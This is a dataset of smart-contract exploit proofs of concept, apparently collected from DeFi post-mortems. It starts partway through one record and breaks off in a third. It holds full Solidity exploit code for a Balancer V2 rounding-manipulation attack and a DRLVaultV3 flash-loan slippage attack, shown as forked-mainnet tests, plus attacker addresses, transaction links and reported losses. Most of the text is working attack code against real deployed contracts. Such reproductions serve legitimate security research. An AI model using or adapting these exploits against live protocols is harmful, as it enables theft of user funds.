https://x.com/BlockSecTeam/status/1986057732810518640, https://x.com/SlowMist_Team/status/1986379316935205299, https://x.com/hklst4r/status/1985872151077953827\n// Twitter Guy : https://x.com/BlockSecTeam/status/1986057732810518640, https://x.com/SlowMist_Team/status/1986379316935205299, https://x.com/hklst4r/status/1985872151077953827\n// Hacking God : N/A\n\naddress constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant balancer = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;\naddress constant osETH_wETH = 0xDACf5Fa19b1f720111609043ac67A9818262850c;\naddress constant wstETH_wETH = 0x93d199263632a4EF4Bb438F1feB99e57b4b5f0BD;\naddress constant osToken = 0xf1C9acDc66974dFB6dEcB12aA385b9cD01190E38;\naddress constant wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;\naddress constant attacker = 0x506D1f9EFe24f0d47853aDca907EB8d89AE03207;\naddress constant beneficiary = 0xAa760D53541d8390074c61DEFeaba314675b8e3f;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 23717397 - 1);\n }\n\n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of address(beneficiary)\", IERC20(weth).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"before attack: balance of address(beneficiary)\", IERC20(osETH_wETH).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"before attack: balance of address(beneficiary)\", IERC20(osToken).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"before attack: balance of address(beneficiary)\", IERC20(wstETH).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"before attack: balance of address(beneficiary)\", IERC20(wstETH_wETH).balanceOf(address(beneficiary)), 18);\n // vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack(osETH_wETH, 67000, 30); // offline computing numbers\n attC.withdraw(osETH_wETH);\n\n attC.attack(wstETH_wETH, 100000000000, 25); // offline computing numbers\n attC.withdraw(wstETH_wETH);\n // vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of address(beneficiary)\", IERC20(weth).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"after attack: balance of address(beneficiary)\", IERC20(osETH_wETH).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"after attack: balance of address(beneficiary)\", IERC20(osToken).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"after attack: balance of address(beneficiary)\", IERC20(wstETH).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"after attack: balance of address(beneficiary)\", IERC20(wstETH_wETH).balanceOf(address(beneficiary)), 18);\n }\n}\n\ncontract Helper {\n using FixedPoint for uint256;\n\n function swapGivenOut(\n uint256[] memory balances, \n uint256[] memory scalingFactors, \n uint256 tokenIndexIn, \n uint256 tokenIndexOut, \n uint256 tokenAmountOut, \n uint256 amplificationParameter, \n uint256 swapFee \n ) public view returns (uint256[] memory) {\n uint256 n = balances.length;\n uint256[] memory balanceScaled = new uint256[](n);\n for (uint256 i = 0; i < n; i++) {\n balanceScaled[i] = FixedPoint.mulDown(balances[i], scalingFactors[i]);\n }\n\n uint256 invariant = StableMath._calculateInvariant(amplificationParameter, balanceScaled);\n uint256 amountOutScaled = FixedPoint.mulDown(tokenAmountOut, scalingFactors[tokenIndexOut]); // precision loss here\n uint256 amountInScaled = StableMath._calcInGivenOut(\n amplificationParameter,\n balanceScaled,\n tokenIndexIn,\n tokenIndexOut,\n amountOutScaled,\n invariant\n );\n uint256 rawAmountIn = FixedPoint.divUp(amountInScaled, scalingFactors[tokenIndexIn]);\n uint256 amountInWithFee = FixedPoint.divUp(rawAmountIn, FixedPoint.ONE.sub(swapFee));\n\n balances[tokenIndexOut] = balances[tokenIndexOut].sub(tokenAmountOut);\n balances[tokenIndexIn] = balances[tokenIndexIn].add(amountInWithFee);\n \n return balances;\n }\n\n\n function get_trickAmt(uint256 scalingfactor) public pure returns (uint256 trickAmt) {\n trickAmt = 10000 / ((scalingfactor - 1e18) * 10000 / 1e18);\n return trickAmt;\n }\n\n function get_index(\n address[] memory tokens, \n uint256[] memory balances,\n uint256 BptIndex\n ) public returns (uint256 idx) {\n uint256 idx = 0;\n uint256 maxbalance = balances[idx];\n for (uint256 i = 1; i < tokens.length; i++) {\n if (i == BptIndex) continue;\n if (balances[i] > maxbalance) {\n maxbalance = balances[i];\n idx = i;\n }\n }\n return idx;\n }\n\n\n function concat_steps(\n IBalancerVault.BatchSwapStep[] memory a,\n IBalancerVault.BatchSwapStep[] memory b\n ) public returns (IBalancerVault.BatchSwapStep[] memory) {\n IBalancerVault.BatchSwapStep[] memory c = new IBalancerVault.BatchSwapStep[](\n a.length + b.length\n );\n uint256 k = 0;\n for (uint256 i = 0; i < a.length; i++) c[k++] = a[i];\n for (uint256 i = 0; i < b.length; i++) c[k++] = b[i];\n return c;\n }\n\n function get_amount(uint256 actualSupply) public pure returns (uint256) {\n uint256 a = uint256(actualSupply * 10030 / 10000);\n\n return uint256((a - get_base(a)) / 2) + 1;\n }\n\n\n function get_base(uint256 v) public pure returns (uint256) {\n uint base = 1e4;\n while (base * 1e3 < v) base = base * 1e3;\n return base;\n }\n\n function trim(uint256 n) public pure returns (uint256) {\n if (n < 100) return n;\n\n uint256 initBalance = n;\n uint256 pow = 1;\n\n while (initBalance > 100) {\n initBalance = initBalance / 10;\n pow = pow * 10;\n }\n return n / pow * pow;\n }\n\n}\n\n// 0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d\ncontract AttackerC {\n Helper public helper = new Helper();\n \n uint256 constant MAX_STEPS = 300;\n\n function prepare_phase1_steps(\n bytes32 poolId,\n address[] memory tokens, \n uint256[] memory balances,\n uint256 BptIndex,\n uint256 initBalance\n ) public returns (IBalancerVault.BatchSwapStep[] memory steps) {\n IBalancerVault.BatchSwapStep[] memory buffer = new IBalancerVault.BatchSwapStep[](MAX_STEPS);\n uint256[] memory preAmount = new uint256[](tokens.length);\n uint256[] memory sumAmounts = new uint256[](tokens.length);\n\n uint256 amount;\n uint256 nextAmount;\n bool exit = false;\n uint256 stepCount = 0;\n while (!exit) {\n for (uint256 assetOutIndex = 0; assetOutIndex < tokens.length; assetOutIndex++) {\n if (assetOutIndex == BptIndex) continue;\n if (preAmount[assetOutIndex] == 0) {\n amount = 99 * balances[assetOutIndex] - 99 * initBalance;\n } else {\n amount = preAmount[assetOutIndex] - 99 * uint256(preAmount[assetOutIndex] / 100);\n }\n preAmount[assetOutIndex] = amount;\n amount = amount / 100;\n nextAmount = preAmount[assetOutIndex] - 99 * uint256(preAmount[assetOutIndex] / 100);\n if (nextAmount < 100) {\n exit = true;\n amount = balances[assetOutIndex] - sumAmounts[assetOutIndex] - initBalance;\n } else {\n sumAmounts[assetOutIndex] += amount;\n }\n \n buffer[stepCount] = IBalancerVault.BatchSwapStep({\n poolId: poolId,\n assetInIndex: BptIndex, // BPT\n assetOutIndex: assetOutIndex,\n amount: amount,\n userData: bytes(\"\")\n });\n\n stepCount++;\n }\n }\n\n IBalancerVault.BatchSwapStep[] memory steps = new IBalancerVault.BatchSwapStep[](stepCount);\n for (uint256 i = 0; i < stepCount; i++) {\n steps[i] = buffer[i];\n }\n\n return steps;\n }\n\n function prepare_phase2_steps(\n bytes32 poolId,\n uint256[] memory scalingFactors, \n uint256 amplificationParameter, \n uint256 swapFee,\n uint256 maxRounds,\n uint256 initBalance,\n uint256 trickAmt,\n uint256 tokenIndexIn,\n uint256 tokenIndexOut,\n uint256 indexIn,\n uint256 indexOut\n ) public returns (IBalancerVault.BatchSwapStep[] memory steps) {\n IBalancerVault.BatchSwapStep[] memory buffer = new IBalancerVault.BatchSwapStep[](MAX_STEPS);\n uint256[] memory balances = new uint256[](2);\n balances[0] = initBalance;\n balances[1] = initBalance;\n uint256 amount = balances[1];\n uint256 stepCount = 0;\n for (uint256 round = 0; round < maxRounds; ++round) {\n balances = helper.swapGivenOut(balances, scalingFactors, tokenIndexIn, tokenIndexOut, amount - trickAmt - 1, amplificationParameter, swapFee);\n buffer[stepCount++] = IBalancerVault.BatchSwapStep({\n poolId: poolId,\n assetInIndex: indexIn,\n assetOutIndex: indexOut,\n amount: amount - trickAmt - 1,\n userData: bytes(\"\")\n });\n\n balances = helper.swapGivenOut(balances, scalingFactors, tokenIndexIn, tokenIndexOut, trickAmt, amplificationParameter, swapFee);\n buffer[stepCount++] = IBalancerVault.BatchSwapStep({\n poolId: poolId,\n assetInIndex: indexIn,\n assetOutIndex: indexOut,\n amount: trickAmt,\n userData: bytes(\"\")\n });\n amount = helper.trim(balances[tokenIndexIn]);\n for (uint256 j = 0; j < 3; ++j) {\n try helper.swapGivenOut(balances, scalingFactors, tokenIndexOut, tokenIndexIn, amount, amplificationParameter, swapFee) returns (uint256[] memory newBalances) {\n buffer[stepCount++] = IBalancerVault.BatchSwapStep({\n poolId: poolId,\n assetInIndex: indexOut,\n assetOutIndex: indexIn,\n amount: amount,\n userData: bytes(\"\")\n });\n balances = newBalances;\n amount = balances[tokenIndexOut];\n break;\n } catch {\n amount = (amount * 9) / 10;\n continue;\n }\n }\n }\n\n IBalancerVault.BatchSwapStep[] memory steps = new IBalancerVault.BatchSwapStep[](stepCount);\n for (uint256 i = 0; i < stepCount; ++i) {\n steps[i] = buffer[i];\n }\n\n return steps;\n }\n\n function prepare_phase3_steps(\n bytes32 poolId,\n uint256 actualSupply\n ) public returns (IBalancerVault.BatchSwapStep[] memory steps) {\n IBalancerVault.BatchSwapStep[] memory buffer = new IBalancerVault.BatchSwapStep[](MAX_STEPS);\n uint256 amount = 1e4;\n uint256 stepCount = 0;\n for (uint256 round = 0; round < 3; ++round) {\n buffer[stepCount++] = IBalancerVault.BatchSwapStep({\n poolId: poolId,\n assetInIndex: 0,\n assetOutIndex: 1,\n amount: amount,\n userData: bytes(\"\")\n });\n amount = amount * 1e3;\n buffer[stepCount++] = IBalancerVault.BatchSwapStep({\n poolId: poolId,\n assetInIndex: 2,\n assetOutIndex: 1,\n amount: amount,\n userData: bytes(\"\")\n });\n amount = amount * 1e3;\n }\n\n buffer[stepCount++] = IBalancerVault.BatchSwapStep({\n poolId: poolId,\n assetInIndex: 0,\n assetOutIndex: 1,\n amount: amount,\n userData: bytes(\"\")\n });\n amount = helper.get_amount(actualSupply);\n // console.log(\"phase 3 step amount\", amount);\n buffer[stepCount++] = IBalancerVault.BatchSwapStep({\n poolId: poolId,\n assetInIndex: 2,\n assetOutIndex: 1,\n amount: amount,\n userData: bytes(\"\")\n });\n buffer[stepCount++] = IBalancerVault.BatchSwapStep({\n poolId: poolId,\n assetInIndex: 0,\n assetOutIndex: 1,\n amount: amount,\n userData: bytes(\"\")\n });\n\n IBalancerVault.BatchSwapStep[] memory steps = new IBalancerVault.BatchSwapStep[](stepCount);\n for (uint256 i = 0; i < stepCount; ++i) {\n steps[i] = buffer[i];\n }\n\n return steps;\n }\n\n // https://etherscan.io/tx/0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742\n function attack(address pool, uint256 initBalance, uint256 loops) public {\n bytes32 poolId = IComposableStablePool(pool).getPoolId(); \n uint256 BptIndex = IComposableStablePool(pool).getBptIndex(); \n (address[] memory tokens, uint256[] memory startBalances, uint256 startBlock) = IBalancerVault(balancer).getPoolTokens(poolId); \n\n for (uint256 i = 0; i < tokens.length; i++) {\n IERC20(address(tokens[i])).approve(balancer, type(uint256).max);\n }\n\n uint256[] memory scalingFactors = IComposableStablePool(pool).getScalingFactors(); \n uint256 idx = helper.get_index(tokens, startBalances, BptIndex);\n IComposableStablePool(pool).updateTokenRateCache(tokens[idx]);\n uint256 trickAmt = helper.get_trickAmt(scalingFactors[idx]);\n uint256 indexIn = 0;\n uint256 indexOut = 2;\n \n uint256 tokenIndexIn = 0;\n uint256 tokenIndexOut = 1;\n\n if (idx == 0) {\n indexIn = 2;\n indexOut = 0;\n \n tokenIndexIn = 1;\n tokenIndexOut = 0; \n }\n\n (uint256 amplificationParameter, bool isUpdating, uint256 precision) = IComposableStablePool(pool).getAmplificationParameter(); \n uint256 swapFeePercentage = IComposableStablePool(pool).getSwapFeePercentage();\n uint256 rate = IComposableStablePool(pool).getRate(); \n (, uint256[] memory balances, uint256 lastChangeBlock) = IBalancerVault(balancer).getPoolTokens(poolId); \n uint256 actualSupply = IComposableStablePool(pool).getActualSupply(); \n scalingFactors = IComposableStablePool(pool).getScalingFactors(); \n\n IBalancerVault.BatchSwapStep[] memory phase1steps = prepare_phase1_steps(\n poolId,\n tokens,\n balances,\n BptIndex,\n initBalance\n );\n // except the bpt token\n uint256[] memory newScalingFactors = new uint256[](2);\n newScalingFactors[0] = scalingFactors[0];\n newScalingFactors[1] = scalingFactors[2];\n \n IBalancerVault.BatchSwapStep[] memory phase2steps = prepare_phase2_steps(\n poolId,\n newScalingFactors,\n amplificationParameter,\n swapFeePercentage,\n loops,\n initBalance,\n trickAmt,\n tokenIndexIn,\n tokenIndexOut,\n indexIn,\n indexOut\n );\n\n IBalancerVault.BatchSwapStep[] memory phase3steps = prepare_phase3_steps(\n poolId,\n actualSupply\n );\n IBalancerVault.BatchSwapStep[] memory steps = helper.concat_steps(\n helper.concat_steps(phase1steps, phase2steps), \n phase3steps\n );\n\n int256[] memory limits = new int256[](3);\n limits[0] = 0x400000000000000000000000000000000000000000000000000000000000000;\n limits[1] = 0x400000000000000000000000000000000000000000000000000000000000000;\n limits[2] = 0x400000000000000000000000000000000000000000000000000000000000000;\n \n IBalancerVault(balancer).batchSwap(IBalancerVault.SwapKind.GIVEN_OUT, steps, tokens, IBalancerVault.FundManagement({\n sender: address(this),\n fromInternalBalance: true,\n recipient: payable(address(this)),\n toInternalBalance: true\n }), limits, block.timestamp);\n }\n\n // https://etherscan.io/tx/0xd155207261712c35fa3d472ed1e51bfcd816e616dd4f517fa5959836f5b48569\n function withdraw(address pool) public {\n bytes32 poolId = IComposableStablePool(pool).getPoolId(); // 0xdacf5fa19b1f720111609043ac67a9818262850c000000000000000000000635\n (address[] memory tokens, uint256[] memory startBalances, uint256 startBlock) = IBalancerVault(balancer).getPoolTokens(poolId); //\n (uint256[] memory balances) = IBalancerVault(balancer).getInternalBalance(address(this), tokens);\n\n IBalancerVault.UserBalanceOp[] memory ops = new IBalancerVault.UserBalanceOp[](tokens.length);\n for (uint256 i = 0; i < tokens.length; i++) {\n ops[i] = IBalancerVault.UserBalanceOp({\n kind: IBalancerVault.UserBalanceOpKind.WITHDRAW_INTERNAL,\n asset: tokens[i],\n amount: balances[i],\n sender: address(this),\n recipient: payable(beneficiary)\n });\n }\n\n IBalancerVault(balancer).manageUserBalance(ops);\n }\n}\n\ninterface IComposableStablePool {\n\tfunction getPoolId() external returns (bytes32);\n function getBptIndex() external returns (uint256);\n function approve(address, uint256) external returns (bool);\n function getScalingFactors() external returns (uint256[] memory);\n function getRateProviders() external returns (address[] memory);\n function updateTokenRateCache(address) external;\n function getAmplificationParameter() external returns (uint256, bool, uint256);\n function getSwapFeePercentage() external returns (uint256);\n function getRate() external returns (uint256);\n function getActualSupply() external returns (uint256);\n\tfunction balanceOf(address) external returns (uint256); \n}\n", "type": "exploit_poc", "protocol": "BalancerV2", "date": "2025-11", "file_name": "BalancerV2_exp.sol", "attack_vector": null, "content_hash": "9cf837fa17a20573", "collected_at": "2026-01-07T10:59:16.548538", "_source": "postmortems", "chain": "ethereum", "block_number": 23717397, "total_lost_raw": "120M USD", "total_lost_usd": 120000000.0, "attacker_address": "https://etherscan.io/address/0x506d1f9efe24f0d47853adca907eb8d89ae03207", "attack_contract": "https://etherscan.io/address/0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742", "postmortem_url": "https://x.com/BlockSecTeam/status/1986057732810518640,", "twitter_url": "https://x.com/BlockSecTeam/status/1986057732810518640,", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "120M USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of address(beneficiary)\", IERC20(weth).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"before attack: balance of address(beneficiary)\", IERC20(osETH_wETH).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"before attack: balance of address(beneficiary)\", IERC20(osToken).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"before attack: balance of address(beneficiary)\", IERC20(wstETH).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"before attack: balance of address(beneficiary)\", IERC20(wstETH_wETH).balanceOf(address(beneficiary)), 18);\n // vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack(osETH_wETH, 67000, 30); // offline computing numbers\n attC.withdraw(osETH_wETH);\n\n attC.attack(wstETH_wETH, 100000000000, 25); // offline computing numbers\n attC.withdraw(wstETH_wETH);\n // vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of address(beneficiary)\", IERC20(weth).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"after attack: balance of address(beneficiary)\", IERC20(osETH_wETH).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"after attack: balance of address(beneficiary)\", IERC20(osToken).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"after attack: balance of address(beneficiary)\", IERC20(wstETH).balanceOf(address(beneficiary)), 18);\n emit log_named_decimal_uint(\"after attack: balance of address(beneficiary)\", IERC20(wstETH_wETH).balanceOf(address(beneficiary)), 18);\n }\n}\n\ncontract Helper {\n using FixedPoint for uint256;", "has_exploit_code": true, "keyinfo_total_lost": "120M USD", "keyinfo_attacker": "https://etherscan.io/address/0x506d1f9efe24f0d47853adca907eb8d89ae03207", "keyinfo_attack_contract": "https://etherscan.io/address/0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x6ed07db1a9fe5c0794d44cd36081d6a6df103fab868cdd75d581e3bd23bc9742", "analysis_postmortem": "https://x.com/BlockSecTeam/status/1986057732810518640,", "analysis_twitter": "https://x.com/BlockSecTeam/status/1986057732810518640,", "funds_lost_formatted": "$120.00M", "content_richness_score": 8, "quality_estimate": "high", "title": "BalancerV2 Exploit (2025-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 100K USDT\n// Attacker : https://etherscan.io/address/0xC0ffeEBABE5D496B2DDE509f9fa189C25cF29671 \n// Attack Contract : https://etherscan.io/address/0xe08d97e151473a848c3d9ca3f323cb720472d015\n// Vulnerable Contract : https://etherscan.io/address/0x6A06707ab339BEE00C6663db17DdB422301ff5e8 \n// Attack Tx : https://etherscan.io/tx/0xe3eab35b288c086afa9b86a97ab93c7bb61d21b1951a156d2a8f6f5d5715c475\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x6A06707ab339BEE00C6663db17DdB422301ff5e8#code\n\n// @Analysis\n// Post-mortem : https://blog.verichains.io/p/the-drlvaultv3-exploit-a-slippage\n// Twitter Guy : N/A\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant USDC_ADDR = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\naddress constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\naddress constant USDC_WETH_POOL = 0xE0554a476A092703abdB3Ef35c80e0D76d32939F;\n\naddress constant MORPHO_ADDR = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;\naddress constant DEXROUTER_ADDR = 0x2E1Dee213BA8d7af0934C49a23187BabEACa8764;\naddress constant TOKEN_APPROVE = 0x40aA958dd87FC8305b97f2BA922CDdCa374bcD7f;\naddress constant VAULT_ADDR = 0x6A06707ab339BEE00C6663db17DdB422301ff5e8;\n\ninterface IMorpho {\n function flashLoan(\n address token,\n uint256 assets,\n bytes calldata data\n ) external;\n}\n\ninterface IMorphoFlashLoanReceiver {\n function onMorphoFlashLoan(\n uint256 assets,\n bytes calldata data\n ) external;\n}\n\ninterface IDexRouter {\n function uniswapV3SwapTo(\n uint256 receiver,\n uint256 amount,\n uint256 minReturn,\n uint256[] calldata pools\n ) external payable returns (uint256 returnAmount);\n}\n\ninterface IDRLVault {\n function swapToWETH(\n uint256 _amount\n ) external returns (uint256 _amountOut);\n}\n\ncontract DRLVaultV3_EXP is BaseTestWithBalanceLog, IMorphoFlashLoanReceiver {\n IMorpho public morpho = IMorpho(MORPHO_ADDR);\n IDexRouter public dexRouter = IDexRouter(DEXROUTER_ADDR);\n IDRLVault public vault = IDRLVault(VAULT_ADDR);\n IPancakeV3Pool public pool = IPancakeV3Pool(USDC_WETH_POOL);\n \n uint256 blocknumToForkFrom = 23769387 - 1;\n uint256 FLASHLOAN_USDC = 13980773000000;\n uint256 VAULT_SWAP_USDC = 100000000000;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n }\n\n function testExploit() public balanceLog {\n bytes memory data = abi.encode(uint8(1));\n morpho.flashLoan(USDC_ADDR, FLASHLOAN_USDC, data);\n }\n\n function onMorphoFlashLoan(uint256 assets, bytes calldata data) external {\n require(msg.sender == address(morpho), \"only Morpho\");\n console.log(\"========= After Flash =========\");\n console.log(\"USDC balance\", IERC20(USDC_ADDR).balanceOf(address(this)));\n console.log(\"WETH balance\", IERC20(WETH_ADDR).balanceOf(address(this)));\n console.log(\"ETH balance\", address(this).balance);\n uint256 wethPrice = CalcPrice();\n console.log(\"WETH Price before swap\", wethPrice);\n\n IERC20(USDC_ADDR).approve(TOKEN_APPROVE, type(uint256).max);\n uint256 receiver = uint256(uint160(address(this)));\n uint256[] memory pools = new uint256[](1);\n pools[0] = 14474011154664524427946373127366704448275315930774981940324572871603728323487;\n dexRouter.uniswapV3SwapTo(receiver, FLASHLOAN_USDC, 96069676420420156, pools);\n\n console.log(\"========= After Swap on DexRouter =========\");\n console.log(\"USDC balance\", IERC20(USDC_ADDR).balanceOf(address(this)));\n console.log(\"WETH balance\", IERC20(WETH_ADDR).balanceOf(address(this)));\n console.log(\"ETH balance\", address(this).balance);\n wethPrice = CalcPrice();\n console.log(\"WETH Price after swap\", wethPrice);\n \n console.log(\"========= Before Swap on Vault =========\");\n console.log(\"Vault weth balane\", IERC20(WETH_ADDR).balanceOf(VAULT_ADDR));\n console.log(\"Vault eth balane\", VAULT_ADDR.balance);\n console.log(\"Vault usdc balane\", IERC20(USDC_ADDR).balanceOf(VAULT_ADDR));\n\n vault.swapToWETH(VAULT_SWAP_USDC);\n\n console.log(\"========= After Swap on Vault =========\");\n console.log(\"USDC balance\", IERC20(USDC_ADDR).balanceOf(address(this)));\n console.log(\"WETH balance\", IERC20(WETH_ADDR).balanceOf(address(this)));\n console.log(\"ETH balance\", address(this).balance);\n wethPrice = CalcPrice();\n console.log(\"WETH Price after swap\", wethPrice);\n\n pools[0] = 57896044618658097711785492505624669893251560180390193455121166874571151938463;\n uint256 amountIn = 779999999999792152553;\n dexRouter.uniswapV3SwapTo{value: amountIn}(receiver, amountIn, 0, pools);\n\n console.log(\"========= After Swap on DexRouter =========\");\n console.log(\"USDC balance\", IERC20(USDC_ADDR).balanceOf(address(this)));\n console.log(\"WETH balance\", IERC20(WETH_ADDR).balanceOf(address(this)));\n console.log(\"ETH balance\", address(this).balance);\n wethPrice = CalcPrice();\n console.log(\"WETH Price after swap\", wethPrice);\n\n IERC20(USDC_ADDR).approve(USDC_WETH_POOL, type(uint256).max);\n IERC20(WETH_ADDR).approve(USDC_WETH_POOL, type(uint256).max);\n\n (bool success, ) = payable(WETH_ADDR).call{value: address(this).balance}(\"\");\n require(success, \"ETH transfer failed\");\n \n bytes memory data = \"0x0500c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000044a9059cbb000000000000000000000000e0554a476a092703abdb3ef35c80e0d76d32939f00000000000000000000000000000000000000000000000050e0230d060eba7205\";\n pool.swap(address(this), false, int256(-21291294107), 1461446703485210103287273052203988822378723970341, data);\n\n console.log(\"========= After Swap on DexRouter =========\");\n console.log(\"USDC balance\", IERC20(USDC_ADDR).balanceOf(address(this)));\n console.log(\"WETH balance\", IERC20(WETH_ADDR).balanceOf(address(this)) / 1e18 );\n console.log(\"ETH balance\", address(this).balance);\n wethPrice = CalcPrice();\n console.log(\"WETH Price after swap\", wethPrice);\n\n IERC20(USDC_ADDR).approve(MORPHO_ADDR, type(uint256).max);\n\n }\n\n function CalcPrice() internal returns(uint256 finalPrice) {\n IPancakeV3PoolState pool = IPancakeV3PoolState(USDC_WETH_POOL);\n \n (uint256 sqrtPriceX96, int24 tick,,,,,) = pool.slot0();\n finalPrice = 1e12/(sqrtPriceX96/2**96)**2;\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n IERC20(WETH_ADDR).transfer(USDC_WETH_POOL, uint256(amount1Delta));\n }\n\n receive() external payable {}\n\n}", "type": "exploit_poc", "protocol": "DRLVaultV3", "date": "2025-11", "file_name": "DRLVaultV3_exp.sol", "attack_vector": "flash_loan", "content_hash": "7cad7a572dd38816", "collected_at": "2026-01-07T10:59:16.548646", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "100K USDT", "total_lost_usd": 100000.0, "attacker_address": "https://etherscan.io/address/0xC0ffeEBABE5D496B2DDE509f9fa189C25cF29671", "attack_contract": "https://etherscan.io/address/0xe08d97e151473a848c3d9ca3f323cb720472d015", "vulnerable_contract": "https://etherscan.io/address/0x6A06707ab339BEE00C6663db17DdB422301ff5e8", "attack_tx": "https://etherscan.io/tx/0xe3eab35b288c086afa9b86a97ab93c7bb61d21b1951a156d2a8f6f5d5715c475", "postmortem_url": "https://blog.verichains.io/p/the-drlvaultv3-exploit-a-slippage", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "100K USDT", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n bytes memory data = abi.encode(uint8(1));\n morpho.flashLoan(USDC_ADDR, FLASHLOAN_USDC, data);\n }", "has_exploit_code": true, "keyinfo_total_lost": "100K USDT", "keyinfo_attacker": "https://etherscan.io/address/0xC0ffeEBABE5D496B2DDE509f9fa189C25cF29671", "keyinfo_attack_contract": "https://etherscan.io/address/0xe08d97e151473a848c3d9ca3f323cb720472d015", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x6A06707ab339BEE00C6663db17DdB422301ff5e8", "keyinfo_attack_tx": "https://etherscan.io/tx/0xe3eab35b288c086afa9b86a97ab93c7bb61d21b1951a156d2a8f6f5d5715c475", "analysis_postmortem": "https://blog.verichains.io/p/the-drlvaultv3-exploit-a-slippage", "analysis_twitter": "", "funds_lost_formatted": "$100.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "DRLVaultV3 Exploit (2025-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 1M USD\n// Attacker : https://basescan.org/address/0x6997a8c804642ae2de16d7b8ff09565a5d5658ff\n// Attack Contract : https://basescan.org/address/0x42ecd332d47c91cbc83b39bd7f53cebe5e9734bb\n// Vulnerable Contract : \n// Attack Tx : https://app.blocksec.com/explorer/tx/base/0x190a491c0ef095d5447d6d813dc8e2ec11a5710e189771c24527393a2beb05ac\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// https://x.com/CertiKAlert/status/1985620452992253973\n// https://finance.yahoo.com/news/moonwell-hack-1m-lost-chainlink-123012371.html\n// https://www.halborn.com/blog/post/explained-the-moonwell-hack-november-2025\n\ninterface ICLFlashCallback {\n function uniswapV3FlashCallback(\n uint256 fee0,\n uint256 fee1,\n bytes calldata data\n ) external;\n}\n\ninterface ICLSwapCallback {\n function uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata data\n ) external;\n}\n\ninterface ICLPool is ICLFlashCallback, ICLSwapCallback {\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n\n function token0() external view returns (address);\n function token1() external view returns (address);\n\n function slot0()\n external\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n uint16 observationCardinalityNext,\n bool unlocked\n );\n}\n\ninterface IComptroller {\n function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory);\n}\n\ninterface ICErc20 {\n function mint(uint256 mintAmount) external returns (uint256);\n function borrow(uint256 borrowAmount) external returns (uint256);\n}\n\ncontract ContractTest is Test {\n // Pools\n address constant CLPOOL_WSTETH_WRSETH = 0x14dcCDd311Ab827c42CCA448ba87B1ac1039e2A4;\n address constant CLPOOL_WSTETH_WETH = 0x861A2922bE165a5Bd41b1E482B49216b465e1B5F;\n address constant V3POOL_WRSETH_WETH = 